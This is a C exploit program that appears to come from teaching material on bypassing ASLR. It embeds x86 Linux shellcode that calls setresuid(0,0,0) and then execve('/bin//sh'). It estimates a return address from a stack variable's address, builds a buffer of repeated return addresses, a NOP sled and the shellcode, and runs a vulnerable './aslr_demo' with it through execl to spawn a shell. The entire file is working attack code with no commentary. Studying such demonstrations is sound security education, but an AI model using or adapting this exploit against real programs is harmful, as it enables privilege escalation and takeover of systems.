aslr_execl_exploit.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // standard shellcode

int main(int argc, char *argv[]) {
   unsigned int i, ret, offset;
   char buffer[1000];

   printf("i is at %p\n", &i);

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset + 200; // set return address
   printf("ret addr is %p\n", ret);

   for(i=0; i < 90; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer+84, 0x90, 900); // build NOP sled
   memcpy(buffer+900, shellcode, sizeof(shellcode)); 
 
   execl("./aslr_demo", "aslr_demo", buffer,  NULL);
}